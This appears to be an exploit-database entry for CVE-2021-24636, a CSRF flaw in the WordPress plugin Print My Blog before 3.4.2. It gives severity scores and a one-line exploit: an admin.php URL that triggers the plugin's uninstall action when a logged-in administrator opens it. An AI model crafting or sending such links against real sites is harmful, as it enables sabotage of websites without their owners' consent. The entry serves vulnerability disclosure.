Exploit for Print My Blog < 3.4.2 - Plugin Deactivation via CSRF

CVE-2021-24636

wpexploit · 2021-08-18

Description

Print My Blog Plugin Deactivation via CSR

Entry point

Parameterpage · query param

Pathwp-admin/admin.php?page=print-my-blog-projects&action=uninstall

CSRF due to missing nonce enables logged-in administrators to trigger uninstall action via a malicious link

Affected Print My Blog Project Print My Blog versions

Print My Blog Project Print My Blog< 3.4.2

All known vulnerabilities by product

Print My Blog

CVSS 8.1 for CVE-2021-24636

8.1

HIGH SEVERITY

Version 3.1

VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:H

Attack Vector:NETWORK

Attack Complexity:LOW

Privileges Required:NONE

User Interaction:REQUIRED

Scope:UNCHANGED

Confidentiality:NONE

Integrity:HIGH

Availability:HIGH

EPSS Score

0.5%higher than 41.5% of all CVEs

Updated 2026-07-15

Exploit Details

Modified:2021-08-18 17:37

Last Seen:2021-11-26 19:31

Reporter:apple502j

Exploit Code

MARKDOWN2 lines

## https://sploitus.com/exploit?id=WPEX-ID:DB8ACE7B-7A44-4620-9FE8-DDF0AD520F5E
https://example.com/wp-admin/admin.php?page=print-my-blog-projects&action=uninstall

Exploit Code

Share

Share on social media: